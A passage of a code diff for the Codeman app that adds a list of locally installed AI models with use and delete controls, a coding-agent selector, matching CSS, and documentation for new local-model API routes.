+    } else if (candidate.library === 'ready' && install.actions.includes('use')) {
+      buttons.appendChild(
+        localModelButton(localModelT('Use this model'), {
+          key: 'primary',
+          primary: true,
+          disabled: ui.busy,
+          onClick: () => void this.useLocalModel(candidate.modelId),
+        })
+      );
+    } else if (install.actions.includes('install')) {
       buttons.appendChild(
         localModelButton(localModelT('Install on this Mac'), {
           key: 'primary',
@@ -1181,6 +1415,290 @@ Object.assign(CodemanApp.prototype, {
     return parts;
   },
 
+  /**
+   * The models on this Mac: one row per model of `install.library` with its name, the context
+   * it was checked with, its state, its size on disk and what the server offers for it. A row
+   * whose Delete was pressed is followed by the question, once, in place. `null` when there is
+   * no row, or (with `onlyWithActions`, for a paused or failed job) no row offers anything.
+   */
+  _localModelLibraryEl(install, { onlyWithActions = false } = {}) {
+    const ui = this._localModelWindowState();
+    const rows = localModelLibrary(install);
+    const offers = (row, action) => Array.isArray(row.actions) && row.actions.includes(action);
+    if (!rows.length) return null;
+    if (onlyWithActions && !rows.some((row) => offers(row, 'use') || offers(row, 'delete'))) return null;
+
+    const section = localModelEl('div', 'lm-library');
+    const list = localModelEl('div', 'lm-lib-list');
+    list.setAttribute('role', 'list');
+    list.setAttribute('aria-labelledby', 'localModelLibraryLabel');
+    const caption = localModelEl('div', 'lm-lib-caption');
+    const label = localModelEl('span', 'lm-lib-caption-label', localModelT('Models on this Mac'));
+    label.id = 'localModelLibraryLabel';
+    caption.appendChild(label);
+    caption.appendChild(localModelEl('span', 'lm-lib-caption-size', localModelT('On disk')));
+    list.appendChild(caption);
+
+    for (const row of rows) {
+      const name = String(row.label || row.id);
+      const item = localModelEl('div', row.active === true ? 'lm-lib-row lm-lib-row-on' : 'lm-lib-row');
+      item.setAttribute('role', 'listitem');
+      const what = localModelEl('div', 'lm-lib-name');
+      what.appendChild(localModelEl('span', 'lm-lib-label', name));
+      if (Number.isFinite(row.context)) {
+        what.appendChild(
+          localModelEl(
+            'span',
+            'lm-lib-meta',
+            localModelT('{context} tokens', { context: localModelCount(row.context) })
+          )
+        );
+      }
+      item.appendChild(what);
+      const tag = localModelLibraryTag(row);
+      const tagSlot = localModelEl('span', 'lm-lib-tag');
+      tagSlot.appendChild(localModelEl('span', `lm-tag lm-tag-${tag.kind}`, tag.text));
+      item.appendChild(tagSlot);
+      item.appendChild(localModelEl('span', 'lm-lib-size', row.sizeGb ? localModelGb(row.sizeGb) : ''));
+
+      const asking = ui.confirmDelete === row.id && offers(row, 'delete');
+      const actions = localModelEl('span', 'lm-lib-actions');
+      // While the row's question is open its buttons keep their place and are out of reach,
+      // so the column of sizes does not move when the question opens.
+      if (asking) {
+        actions.classList.add('lm-lib-actions-away');
+        actions.setAttribute('aria-hidden', 'true');
+      }
+      if (offers(row, 'use')) {
+        const use = localModelButton(localModelT('Use'), {
+          key: `use:${row.id}`,
+          disabled: ui.busy || asking,
+          onClick: () => void this.useLocalModel(row.id),
+        });
+        use.classList.add('lm-btn-row');
+        use.setAttribute('aria-label', localModelT('Use {model}', { model: name }));
+        actions.appendChild(use);
+      }
+      if (offers(row, 'delete')) {
+        const remove = localModelButton(localModelT('Delete'), {
+          key: `delete:${row.id}`,
+          disabled: ui.busy || asking,
+          onClick: () => void this.deleteLocalModelEntry(row.id),
+        });
+        remove.classList.add('lm-btn-row');
+        remove.setAttribute('aria-label', localModelT('Delete {model}', { model: name }));
+        actions.appendChild(remove);
+      }
+      item.appendChild(actions);
+      list.appendChild(item);
+
+      if (asking) {
+        list.appendChild(
+          this._localModelAskEl({
+            question: localModelT('Delete {model} from this Mac?', { model: name }),
+            detail: row.sizeGb ? localModelT('This frees {size} GB.', { size: row.sizeGb }) : '',
+            onYes: () => void this.deleteLocalModelEntry(row.id, { confirmed: true }),
+          })
+        );
+      }
+    }
+    section.appendChild(list);
+
+    const foot = localModelEl('div', 'lm-lib-foot');
+    const notes = localModelEl('div', 'lm-lib-notes');
+    const store = install.store;
+    if (store && Number(store.bytes) > 0 && store.gb) {
+      notes.appendChild(
+        localModelEl('p', 'lm-aside', localModelT('Downloaded models use {size} GB on this Mac.', { size: store.gb }))
+      );
+    }
+    // Only the runtime deletes a model: with it stopped, the rows offer none, and this says why.
+    if (install.state === 'installed' && install.running !== true && rows.length > 1) {
+      notes.appendChild(localModelEl('p', 'lm-aside', localModelT('Press Start to delete a single model.')));
+    }
+    if (notes.childElementCount) foot.appendChild(notes);
+    if (install.state === 'installed' && install.actions.includes('install') && this._localModelSelection()) {
+      const add = localModelButton(localModelT('Add a model'), {
+        key: 'add',
+        disabled: ui.busy,
+        onClick: () => this.chooseLocalModel(),
+      });
+      add.classList.add('lm-btn-row');
+      foot.appendChild(add);
+    }
+    if (foot.childElementCount) section.appendChild(foot);
+    return section;
+  },
+
+  /** A Delete question in place: the question, what it frees, Cancel and the red Delete. */
+  _localModelAskEl({ question, detail, onYes }) {
+    const ui = this._localModelWindowState();
+    const ask = localModelEl('div', 'lm-lib-ask');
+    ask.setAttribute('role', 'group');
+    const text = localModelEl('div', 'lm-lib-ask-text');
+    text.appendChild(localModelEl('p', 'lm-lead', question));
+    if (detail) text.appendChild(localModelEl('p', 'lm-aside', detail));
+    ask.appendChild(text);
+    const buttons = localModelEl('div', 'lm-lib-actions');
+    const no = localModelButton(localModelT('Cancel'), {
+      key: 'delete-no',
+      disabled: ui.busy,
+      onClick: () => this.keepLocalModelEntry(),
+    });
+    no.classList.add('lm-btn-row');
+    const yes = localModelButton(localModelT('Delete'), {
+      key: 'delete-yes',
+      danger: true,
+      disabled: ui.busy,
+      onClick: onYes,
+    });
+    yes.classList.add('lm-btn-row');
+    buttons.appendChild(no);
+    buttons.appendChild(yes);
+    ask.appendChild(buttons);
+    return ask;
+  },
+
+  /**
+   * Nothing is installed and the model store still holds downloads (an earlier Remove kept
+   * them): what they take on disk and "Delete them", asked once in place. `null` unless the
+   * server offers that removal.
+   */
+  _localModelStoreEl(install) {
+    const ui = this._localModelWindowState();
+    const store = install.store;
+    if (install.state !== 'idle' || !install.actions.includes('remove')) return null;
+    if (!store || !(Number(store.bytes) > 0) || !store.gb) return null;
+    if (ui.confirmDelete === LOCAL_MODEL_STORE_KEY) {
+      const box = localModelEl('div', 'lm-leftovers');
+      box.appendChild(
+        this._localModelAskEl({
+          question: localModelT('Delete the downloaded models from this Mac?'),
+          detail: localModelT('This frees {size} GB.', { size: store.gb }),
+          onYes: () => void this.deleteLocalModelStore({ confirmed: true }),
+        })
+      );
+      return box;
+    }
+    const box = localModelEl('div', 'lm-leftovers lm-lib-foot');
+    box.appendChild(
+      localModelEl(
+        'p',
+        'lm-aside',
+        localModelT('Models from an earlier install still use {size} GB on this Mac.', { size: store.gb })
+      )
+    );
+    const remove = localModelButton(localModelT('Delete them'), {
+      key: 'store-delete',
+      disabled: ui.busy,
+      onClick: () => void this.deleteLocalModelStore(),
+    });
+    remove.classList.add('lm-btn-row');
+    box.appendChild(remove);
+    return box;
+  },
+
+  /**
+   * The coding agents a session on the installed model can be started with
+   * (`install.harnesses`): one chip per agent, a radio group, and under it one line about the
+   * selected one. For an agent that is not on this Mac that line is the literal install command
+   * (the main button then reads "Install <agent>"), and after a failed install the server's
+   * sentence with the installer's last words folded away. `null` when the server lists none.
+   */
+  _localModelAgentsEl() {
+    const ui = this._localModelWindowState();
+    const { rows, row: chosen } = this._localModelAgent();
+    if (!rows.length || !chosen) return null;
+
+    const section = localModelEl('div', 'lm-agents');
+    const label = localModelEl('p', 'lm-agents-label', localModelT('Start a session with'));
+    label.id = 'localModelAgentsLabel';
+    section.appendChild(label);
+
+    const group = localModelEl('div', 'lm-agent-list');
+    group.setAttribute('role', 'radiogroup');
+    group.setAttribute('aria-labelledby', 'localModelAgentsLabel');
+    for (const row of rows) {
+      const on = row === chosen;
+      const chip = localModelEl('button', on ? 'lm-agent lm-agent-on' : 'lm-agent');
+      chip.type = 'button';
+      chip.setAttribute('role', 'radio');
+      chip.setAttribute('aria-checked', on ? 'true' : 'false');
+      // One tab stop for the group: the selected chip.
+      chip.tabIndex = on ? 0 : -1;
+      chip.dataset.lmKey = `agent:${row.cli}`;
+      chip.disabled = ui.busy;
+      const radio = localModelEl('span', 'lm-radio');
+      radio.setAttribute('aria-hidden', 'true');
+      chip.appendChild(radio);
+      chip.appendChild(localModelEl('span', 'lm-agent-name', String(row.cliLabel || row.cli)));
+      const tag = localModelAgentTag(row);
+      if (tag) chip.appendChild(localModelEl('span', `lm-tag lm-tag-${tag.kind}`, tag.text));
+      chip.addEventListener('click', () => this.selectLocalModelAgent(row.cli));
+      group.appendChild(chip);
+    }
+    group.addEventListener('keydown', (event) => this._onLocalModelAgentKey(event));
+    section.appendChild(group);
+
+    const name = String(chosen.cliLabel || chosen.cli);
+    const about = localModelEl('div', 'lm-agent-about');
+    if (chosen.status === 'installable' || chosen.status === 'installing') {
+      const lead =
+        chosen.status === 'installing'
+          ? localModelT('Installing {cli}. You can start a session with another agent meanwhile.', { cli: name })
+          : localModelT('{cli} is not on this Mac yet. Codeman installs it with this command:', { cli: name });
+      about.appendChild(localModelEl('p', 'lm-aside', lead));
+      if (chosen.installCommand) about.appendChild(localModelEl('code', 'lm-command', String(chosen.installCommand)));
+    } else if (chosen.status === 'setup-needed') {
+      about.appendChild(
+        localModelEl(
+          'p',
+          'lm-aside',
+          localModelT(
+            '{cli} needs a setup of its own. Set it up from the Run menu, then start a session with it here.',
+            {
+              cli: name,
+            }
+          )
+        )
+      );
+    } else if (chosen.slowFirstTurn === true) {
+      about.appendChild(localModelEl('p', 'lm-aside', localModelT('The first answer can take minutes.')));
+    }
+    // The last install of this agent failed: the server's sentence, and what the installer said.
+    const error = chosen.status === 'installable' ? chosen.error : null;
+    if (error && error.message) {
+      const failed = localModelEl('div', 'lm-notice');
+      failed.setAttribute('role', 'alert');
+      failed.appendChild(localModelEl('p', 'lm-notice-text', localModelMessage(error.message)));
+      if (typeof error.detail === 'string' && error.detail) {
+        const details = localModelEl('details', 'lm-details');
+        details.appendChild(localModelEl('summary', '', localModelT('Details')));
+        details.appendChild(localModelEl('pre', 'lm-detail-text', error.detail));
+        failed.appendChild(details);
+      }
+      about.appendChild(failed);
+    }
+    if (about.childElementCount) section.appendChild(about);
+    return section;
+  },
+
+  /** Arrow keys, Home and End move the selection of the agent chips, and the focus with it. */
+  _onLocalModelAgentKey(event) {
+    const { rows, row } = this._localModelAgent();
+    if (!rows.length || !row) return;
+    const index = rows.indexOf(row);
+    let next = -1;
+    if (event.key === 'ArrowDown' || event.key === 'ArrowRight') next = (index + 1) % rows.length;
+    else if (event.key === 'ArrowUp' || event.key === 'ArrowLeft') next = (index - 1 + rows.length) % rows.length;
+    else if (event.key === 'Home') next = 0;
+    else if (event.key === 'End') next = rows.length - 1;
+    if (next < 0 || next === index) return;
+    event.preventDefault();
+    this.selectLocalModelAgent(rows[next].cli);
+    this._focusLocalModelWindow(`agent:${rows[next].cli}`);
+  },
+
   /** Arrow keys, Home and End move the selection of the radio group, and the focus with it. */
   _onLocalModelListKey(event) {
     const selection = this._localModelSelection();
@@ -1397,9 +1915,18 @@ Object.assign(CodemanApp.prototype, {
     const paused = screen === 'paused';
     const model = install.model ? String(install.model.label || install.model.id || '') : '';
     const parts = [];
-    const title = paused
-      ? localModelT('The install of {model} is paused', { model })
-      : localModelT('Installing {model}', { model });
+    // A switch to a model that is on this Mac already downloads nothing, and says so in its name.
+    const switching = localModelIsSwitch(install);
+    let title;
+    if (switching) {
+      title = paused
+        ? localModelT('The switch to {model} is paused', { model })
+        : localModelT('Switching to {model}', { model });
+    } else {
+      title = paused
+        ? localModelT('The install of {model} is paused', { model })
+        : localModelT('Installing {model}', { model });
+    }
     parts.push(localModelEl('p', 'lm-title', title));
 
     // The download bar takes the place of the memory bar, for as long as something downloads.
@@ -1414,19 +1941,26 @@ Object.assign(CodemanApp.prototype, {
       return parts;
     }
 
-    // What waits or goes on is the download while there is one, the install after it.
+    // What waits or goes on is the download while there is one, the install (or the switch) after it.
     const downloading = !!meter;
     let note;
-    if (paused) {
+    if (paused && switching) {
+      note = localModelT('The switch waits until you continue.');
+    } else if (paused) {
       note = downloading
         ? localModelT('The download waits until you continue.')
         : localModelT('The install waits until you continue.');
+    } else if (switching) {
+      note = localModelT('You can close this window. The switch continues while Codeman is running.');
     } else {
       note = downloading
         ? localModelT('You can close this window. The download continues while Codeman is running.')
         : localModelT('You can close this window. The install continues while Codeman is running.');
     }
     parts.push(localModelEl('p', 'lm-aside', note));
+    // A paused job that has a checked model beside it: the way back to that model.
+    const library = paused ? this._localModelLibraryEl(install, { onlyWithActions: true }) : null;
+    if (library) parts.push(library);
     const notice = this._localModelNoticeEl();
     if (notice) parts.push(notice);
 
@@ -1548,6 +2082,9 @@ Object.assign(CodemanApp.prototype, {
       parts.push(this._localModelRemoveEl());
       return parts;
     }
+    // A checked model beside the one that stopped: the way back to it.
+    const library = this._localModelLibraryEl(install, { onlyWithActions: true });
+    if (library) parts.push(library);
     const notice = this._localModelNoticeEl();
     if (notice) parts.push(notice);
 
@@ -1629,7 +2166,9 @@ Object.assign(CodemanApp.prototype, {
     state.appendChild(localModelEl('span', 'lm-state-text', error ? `${model}, ${running}` : running));
     parts.push(state);
     const about = [];
-    if (install.cliLabel) about.push(localModelT('Runs with {cli}.', { cli: String(install.cliLabel) }));
+    // The agents have their own block below when the server lists them; without the list, the one of the install.
+    const agent = this._localModelAgent().row;
+    if (!agent && install.cliLabel) about.push(localModelT('Runs with {cli}.', { cli: String(install.cliLabel) }));
     const line = this._localModelFactsLine(install);
     if (line) about.push(line);
     if (about.length) parts.push(localModelEl('p', 'lm-aside', about.join(' ')));
@@ -1641,13 +2180,22 @@ Object.assign(CodemanApp.prototype, {
     const tools = this._localModelDeveloperToolsEl();
     if (tools) parts.push(tools);
     const notice = this._localModelNoticeEl();
-    if (notice) parts.push(notice);
 
     const can = (action) => install.actions.includes(action);
     const next = error ? this._localModelNextButton(install, error) : null;
     // The screen that ends an install has one button. Stop and Remove are for the window
     // opened later (or for this one once anything else was said in it).
     const ending = ui.justInstalled === true && can('start-session') && !error && !notice;
+    // Which coding agent the next session runs with. Not on the screen that ends an install
+    // (that one says one thing: the session starts with the agent that was just chosen), and
+    // not while something blocks every session.
+    const agents = ending || error ? null : this._localModelAgentsEl();
+    if (agents) parts.push(agents);
+    // Everything that is on this Mac, what it takes on disk, and the way to another model.
+    // Not on the screen that ends an install: that one says one thing.
+    const library = ending ? null : this._localModelLibraryEl(install);
+    if (library) parts.push(library);
+    if (notice) parts.push(notice);
     const foot = localModelEl('div', 'lm-foot');
     const buttons = localModelEl('div', 'lm-buttons');
     if (!ending && can('remove') && error?.next !== 'remove') {
@@ -1669,24 +2217,53 @@ Object.assign(CodemanApp.prototype, {
       );
     }
     // Start is the main action of a stopped model, unless the error's own button says so already.
+    const startIsMain =
+      can('start') &&
+      !(error && (error.next === 'start' || error.next === 'other-port')) &&
+      !can('start-session') &&
+      !next;
     if (can('start') && !(error && (error.next === 'start' || error.next === 'other-port'))) {
       buttons.appendChild(
         localModelButton(localModelT('Start'), {
-          key: can('start-session') || next ? 'start' : 'primary',
-          primary: !can('start-session') && !next,
+          key: startIsMain ? 'primary' : 'start',
+          primary: startIsMain,
           disabled: ui.busy,
           onClick: () => void this.setLocalModelRuntime('start'),
         })
       );
     }
     if (next) buttons.appendChild(next);
-    if (can('start-session')) {
+    // The main button follows the selected coding agent, by what the server offers for it.
+    const offers = (action) => !!agents && Array.isArray(agent?.actions) && agent.actions.includes(action);
+    if (agents && agent && agent.status !== 'ready') {
+      const name = String(agent.cliLabel || agent.cli);
+      if (offers('install')) {
+        buttons.appendChild(
+          localModelButton(localModelT('Install {cli}', { cli: name }), {
+            // A stopped model's main action is Start: installing an agent is the quiet one then.
+            key: startIsMain ? 'agent-install' : 'primary',
+            primary: !next && !startIsMain,
+            disabled: ui.busy,
+            onClick: () => void this.installLocalModelAgent(agent.cli),
+          })
+        );
+      } else if (agent.status === 'installing') {
+        buttons.appendChild(
+          localModelButton(localModelT('Installing {cli}', { cli: name }), {
+            key: startIsMain ? 'agent-install' : 'primary',
+            primary: !next && !startIsMain,
+            disabled: true,
+          })
+        );
+      }
+      // An agent that needs a setup of its own has nothing to press: the line above says where.
+    } else if (agents ? offers('start-session') : can('start-session')) {
       buttons.appendChild(
         localModelButton(localModelT('Start a session'), {
           key: 'primary',
           primary: !next,
           disabled: ui.busy,
-          onClick: () => void this.startLocalModelSession(),
+          onClick: () => void this.startLocalModelSession(agents && agent ? agent.cli : undefined),
         })
       );
     }
@@ -1703,6 +2280,8 @@ Object.assign(CodemanApp.prototype, {
     if (hw) parts.push(hw);
     const reason = localModelMessage(status.recommendation.headline);
     if (reason) parts.push(localModelEl('p', 'lm-reason', reason));
+    const leftovers = this._localModelStoreEl(localModelInstall(status));
+    if (leftovers) parts.push(leftovers);
     const notice = this._localModelNoticeEl();
     if (notice) parts.push(notice);
     const foot = localModelEl('div', 'lm-foot');

src/web/public/mobile.css

@@ -1887,6 +1887,11 @@ html.mobile-init .file-browser-panel {
     justify-content: flex-end;
   }
 
+  /* A screen with the list of models scrolls from its top. */
+  .local-model-window > .lm-body[data-long='true'] {
+    justify-content: flex-start;
+  }
+
   /* Ralph wizard responsive */
   .modal-wizard {
     display: flex;
@@ -4339,6 +4344,61 @@ html[data-session-list="sidebar"] .session-sidebar .session-tab .tab-close {
     grid-column: 3;
   }
 
+  /* The models on this Mac: the name and its size, then the state and what can be done. */
+  .lm-lib-list {
+    grid-template-columns: minmax(0, 1fr) auto;
+    column-gap: 0.7rem;
+  }
+
+  .lm-lib-caption-label {
+    grid-column: 1;
+  }
+
+  .lm-lib-caption-size {
+    grid-column: 2;
+  }
+
+  .lm-lib-row {
+    row-gap: 0.15rem;
+    padding-top: 0.45rem;
+    padding-bottom: 0.45rem;
+  }
+
+  .lm-lib-name {
+    grid-row: 1;
+    grid-column: 1;
+    padding: 0;
+  }
+
+  .lm-lib-size {
+    grid-row: 1;
+    grid-column: 2;
+  }
+
+  .lm-lib-tag {
+    grid-row: 2;
+    grid-column: 1;
+  }
+
+  .lm-lib-actions {
+    grid-row: 2;
+    grid-column: 2;
+  }
+
+  .lm-lib-ask {
+    margin-inline: 0.7rem;
+  }
+
+  .lm-lib-foot {
+    flex-wrap: wrap;
+  }
+
+  /* A row's buttons keep their own size: they sit in the row, not under the thumb. */
+  .local-model-window .wt-btn.lm-btn.lm-btn-row {
+    min-height: 36px;
+    font-size: 0.8rem;
+  }
+
   .lm-foot {
     flex-direction: column;
     align-items: stretch;

src/web/public/styles.css

@@ -22467,6 +22467,13 @@ html[data-skin='rose-pine-dawn'] {
   padding-bottom: 2.2rem;
 }
 
+/* A screen that carries the list of models is no short screen: it starts at the
+   top and scrolls, or its first lines would be cut off above the frame. */
+.local-model-window > .lm-body[data-long='true'] {
+  justify-content: flex-start;
+  padding-bottom: 1.2rem;
+}
+
 /* The foot of the frame: the buttons of the screen (or the Remove question),
    outside the part that scrolls. */
 .local-model-window > .lm-foot-slot {
@@ -22808,7 +22815,9 @@ html[data-skin='rose-pine-dawn'] {
 
 .lm-model-tag {
   display: flex;
+  flex-wrap: wrap;
   justify-content: flex-start;
+  gap: 0.25rem;
 }
 
 /* A tag says one thing about a row, in the colour of what it says. */
@@ -22844,6 +22853,29 @@ html[data-skin='rose-pine-dawn'] {
   color: var(--lm-orange);
 }
 
+/* The states of a model that is on this Mac: in use takes the feature's own
+   colour, ready is good, a changed or missing one is a warning. A model that
+   was never checked keeps the quiet tag. */
+.lm-tag-inuse {
+  background: color-mix(in srgb, var(--lm-brand) 20%, transparent);
+  color: var(--lm-brand);
+}
+
+.lm-tag-ready {
+  background: color-mix(in srgb, var(--lm-good) 15%, transparent);
+  color: var(--lm-good);
+}
+
+.lm-tag-changed {
+  background: color-mix(in srgb, var(--lm-amber) 15%, transparent);
+  color: var(--lm-amber);
+}
+
+.lm-tag-missing {
+  background: color-mix(in srgb, var(--lm-orange) 15%, transparent);
+  color: var(--lm-orange);
+}
+
 .lm-model-speed,
 .lm-model-size {
   text-align: end;
@@ -23218,6 +23250,258 @@ html[data-skin='rose-pine-dawn'] {
   accent-color: var(--lm-brand);
 }
 
+/* ── the coding agents of an installed model ─────────────────────── */
+/* One chip per agent a session can be started with, as a radio group: the
+   selected one in the look of the selected model row, a tag on the ones that
+   are not on this Mac. Under them, one line about the selected one. */
+.lm-agents {
+  display: flex;
+  flex-direction: column;
+  gap: 0.45rem;
+}
+
+.lm-agents-label {
+  font-size: 0.7rem;
+  color: var(--text-dim);
+}
+
+.lm-agent-list {
+  display: flex;
+  flex-wrap: wrap;
+  gap: 0.4rem;
+}
+
+.lm-agent {
+  display: inline-flex;
+  align-items: center;
+  gap: 0.45rem;
+  min-height: 2.1rem;
+  padding: 0 0.7rem 0 0.6rem;
+  border: 1px solid var(--border);
+  border-radius: 9px;
+  background: transparent;
+  color: var(--text);
+  font: inherit;
+  font-size: 0.8rem;
+  cursor: pointer;
+  transition:
+    background var(--transition-smooth),
+    border-color var(--transition-smooth);
+}
+
+.lm-agent:hover:not(:disabled) {
+  background: var(--control-bg);
+}
+
+.lm-agent:focus-visible {
+  outline: 2px solid var(--lm-brand);
+  outline-offset: 1px;
+}
+
+.lm-agent:disabled {
+  cursor: default;
+}
+
+.lm-agent-on,
+.lm-agent-on:hover:not(:disabled) {
+  border-color: color-mix(in srgb, var(--lm-brand) 55%, var(--border));
+  background: linear-gradient(
+    90deg,
+    color-mix(in srgb, var(--lm-brand) 17%, transparent),
+    color-mix(in srgb, var(--lm-brand) 5%, transparent)
+  );
+}
+
+.lm-agent .lm-radio {
+  flex: none;
+}
+
+.lm-agent-on .lm-radio {
+  border-color: var(--lm-brand);
+  background: radial-gradient(circle, var(--lm-brand) 0 3px, transparent 3.5px);
+}
+
+.lm-agent-name {
+  font-weight: 600;
+  white-space: nowrap;
+}
+
+.lm-agent-about {
+  display: flex;
+  flex-direction: column;
+  gap: 0.3rem;
+}
+
+/* ── the models on this Mac ───────────────────────────────────────── */
+/* Name with its context, state, size on disk, and what can be done with the
+   row. One grid like the chooser's, so the sizes line up down the list. The
+   model in use wears the chooser's selected look: it is the one that runs. */
+.lm-library {
+  display: flex;
+  flex-direction: column;
+  gap: 0.55rem;
+}
+
+.lm-lib-list {
+  display: grid;
+  grid-template-columns: minmax(0, max-content) minmax(0, 1fr) auto auto;
+  column-gap: 0.75rem;
+  row-gap: 0.1rem;
+  margin-inline: calc(-0.7rem - 2px) -0.7rem;
+}
+
+.lm-lib-caption,
+.lm-lib-row {
+  display: grid;
+  grid-column: 1 / -1;
+  grid-template-columns: subgrid;
+  align-items: center;
+  padding: 0 0.7rem;
+  border-inline-start: 2px solid transparent;
+}
+
+.lm-lib-caption {
+  padding-bottom: 0.3rem;
+  font-size: 0.7rem;
+  color: var(--text-dim);
+}
+
+.lm-lib-caption-label {
+  grid-column: 1 / span 2;
+}
+
+.lm-lib-caption-size {
+  grid-column: 3;
+  text-align: end;
+}
+
+.lm-lib-row {
+  min-height: 2.9rem;
+  border-radius: 9px;
+}
+
+.lm-lib-row-on {
+  border-inline-start-color: var(--lm-brand);
+  background: linear-gradient(
+    90deg,
+    color-mix(in srgb, var(--lm-brand) 17%, transparent),
+    color-mix(in srgb, var(--lm-brand) 4%, transparent)
+  );
+}
+
+.lm-lib-name {
+  display: flex;
+  flex-direction: column;
+  min-width: 0;
+  padding: 0.35rem 0;
+}
+
+.lm-lib-label {
+  font-size: 0.86rem;
+  font-weight: 600;
+  line-height: 1.35;
+  color: var(--text);
+  overflow-wrap: anywhere;
+}
+
+.lm-lib-meta {
+  font-size: 0.7rem;
+  line-height: 1.4;
+  color: var(--text-dim);
+  font-variant-numeric: tabular-nums;
+}
+
+.lm-lib-tag {
+  display: flex;
+  justify-content: flex-start;
+}
+
+.lm-lib-size {
+  text-align: end;
+  white-space: nowrap;
+  font-size: 0.8rem;
+  font-weight: 560;
+  color: var(--text);
+  font-variant-numeric: tabular-nums;
+}
+
+.lm-lib-actions {
+  display: flex;
+  flex-shrink: 0;
+  justify-content: flex-end;
+  gap: 0.35rem;
+}
+
+/* While a row's Delete question is open its buttons keep their room, unseen:
+   the sizes above and below must not jump sideways. */
+.lm-lib-actions-away {
+  visibility: hidden;
+}
+
+/* The buttons of a row are a size smaller than the buttons of the screen. */
+.local-model-window .wt-btn.lm-btn.lm-btn-row {
+  padding: 0.28rem 0.65rem;
+  font-size: 0.74rem;
+}
+
+/* The Delete question of one row, in place under it: the row is what it is about. */
+.lm-lib-ask {
+  display: flex;
+  grid-column: 1 / -1;
+  flex-wrap: wrap;
+  align-items: center;
+  justify-content: space-between;
+  gap: 0.5rem 1rem;
+  margin: 0.1rem 0.7rem 0.4rem;
+  padding: 0.6rem 0.75rem;
+  border: 1px solid var(--border);
+  border-radius: 9px;
+}
+
+.lm-lib-ask-text {
+  display: flex;
+  flex-direction: column;
+  gap: 0.1rem;
+  min-width: 0;
+}
+
+/* Under the list: what all downloads take on disk, and the way to another model. */
+.lm-lib-foot {
+  display: flex;
+  align-items: center;
+  justify-content: space-between;
+  gap: 0.5rem 1rem;
+}
+
+.lm-lib-notes {
+  display: flex;
+  flex-direction: column;
+  gap: 0.15rem;
+  min-width: 0;
+}
+
+/* Nothing installed, and an earlier Remove kept its downloads. */
+.lm-leftovers .lm-lib-ask {
+  margin-inline: 0;
+}
+
+/* A browser without subgrid: fixed tracks keep the columns in line. */
+@supports not (grid-template-columns: subgrid) {
+  .lm-lib-list {
+    display: block;
+  }
+
+  .lm-lib-caption,
+  .lm-lib-row {
+    grid-template-columns: minmax(0, 12rem) minmax(0, 1fr) 4.5rem minmax(0, auto);
+    column-gap: 0.75rem;
+  }
+
+  .lm-lib-row {
+    margin-top: 0.1rem;
+  }
+}
+
 /* ── the foot: one promise on the left, the action on the right ──── */
 .lm-foot {
   display: flex;
@@ -23282,7 +23566,8 @@ html[data-skin='rose-pine-dawn'] {
 
 @media (prefers-reduced-motion: reduce) {
   .lm-bar-fill,
-  .lm-model {
+  .lm-model,
+  .lm-agent {
     transition: none;
   }
 }
@@ -23293,6 +23578,14 @@ html[data-skin='rose-pine-dawn'] {
     min-height: 2.9rem;
   }
 
+  .lm-agent {
+    min-height: 2.6rem;
+  }
+
+  .local-model-window .wt-btn.lm-btn.lm-btn-row {
+    min-height: 36px;
+  }
+
   .lm-select {
     min-height: 36px;
   }

src/web/routes/local-model-routes.ts

@@ -6,15 +6,20 @@
  * |----------------------------------|-----------------------------|------------------------------------------------|
  * | `GET /api/local-model`           | none                        | `{ hardware, recommendation, catalogUpdated, install }` |
  * | `POST /api/local-model/install`  | `LocalModelInstallRequest`  | the install view; 400, 409                     |
+ * | `POST /api/local-model/use`      | `LocalModelUseRequest`      | the install view; 400, 409                     |
  * | `POST /api/local-model/cancel`   | none                        | the install view; 409                          |
  * | `POST /api/local-model/resume`   | `LocalModelResumeRequest`   | the install view; 409                          |
  * | `POST /api/local-model/runtime`  | `LocalModelRuntimeRequest`  | the install view; 409                          |
  * | `DELETE /api/local-model`        | `LocalModelRemoveRequest`   | the install view; 409                          |
+ * | `DELETE /api/local-model/models` | `LocalModelDeleteRequest`   | the install view; 400, 409, 500                |
+ * | `POST /api/local-model/agent`    | `LocalModelAgentRequest`    | the install view; 400, 409                     |
  *
  * The GET is built from the hardware probe, the catalogue, the harness facts and the pure
  * `recommend()`, plus the `install` object of the install service
- * (`LocalModelService.view()`). Nothing is reformatted here: every size text and every
- * sentence in the payload was chosen by the modules that produced it. There is no SSE event:
+ * (`LocalModelService.view()`). The one thing joined here: a row of the recommendation that is
+ * a checked model of the library is marked (`Candidate.library`, by `markLibraryCandidates()`).
+ * Nothing is reformatted: every size text and every sentence in the payload was chosen by the
+ * modules that produced it. There is no SSE event:
  * the window polls the GET once a second while it is open.
  *
  * EXPERIMENTAL (docs/versioning-policy.md, "Experimental local model routes"): the routes and
@@ -45,9 +50,16 @@
  *    or of the endpoint store that was refused (a file that does not parse) is a 409 without
  *    `data`, with the fix.
  *  - The verbs do the work in the install service; this file only gates, parses and maps.
- *    `DELETE`, `runtime` and `resume` look at the live sessions: they hand their names to the
- *    service, which refuses a removal, a stop and a change of port while one of them still
- *    uses the model.
+ *    `DELETE /api/local-model`, `runtime`, `resume`, `install` and `use` look at the live
+ *    sessions: they hand their names to the service, which refuses a removal, a stop, a change
+ *    of port, another model and a switch while one of them still uses the model.
+ *  - `DELETE /api/local-model/models` takes a model NAME in its body, never a path: the schema
+ *    admits only `name:tag`, and the service deletes only a name of its own listing, through
+ *    the runtime.
+ *  - `POST /api/local-model/agent` installs one more coding agent beside an installed model.
+ *    Its body names a CLI id only: the service takes it only when it is a row of the view's
+ *    `harnesses` that offers `install`, and runs the compiled stock command, never text from
+ *    the request. It looks at no session: nothing about the model in use changes.
  *  - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and
  *    does not need a Mac: it passes its own hardware, harness facts and service.
  */
@@ -83,16 +95,20 @@ import { buildHarnessFacts } from '../../local-model/harness-facts.js';
 import {
   formatInstallMessage,
   getLocalModelService,
+  markLibraryCandidates,
   type LocalModelActor,
   type LocalModelService,
   type LocalModelVerbResult,
 } from '../../local-model/install-job.js';
 import { recommend } from '../../local-model/recommend.js';
 import {
+  LocalModelAgentSchema,
+  LocalModelDeleteSchema,
   LocalModelInstallSchema,
   LocalModelRemoveSchema,
   LocalModelResumeSchema,
   LocalModelRuntimeSchema,
+  LocalModelUseSchema,
 } from '../schemas.js';
 import { SettingsWriteRefusedError, settingsWriteErrorResponse } from '../settings-writer.js';
 
@@ -156,7 +172,7 @@ export interface LocalModelConflictResponse {
   data: LocalModelConflict;
 }
 
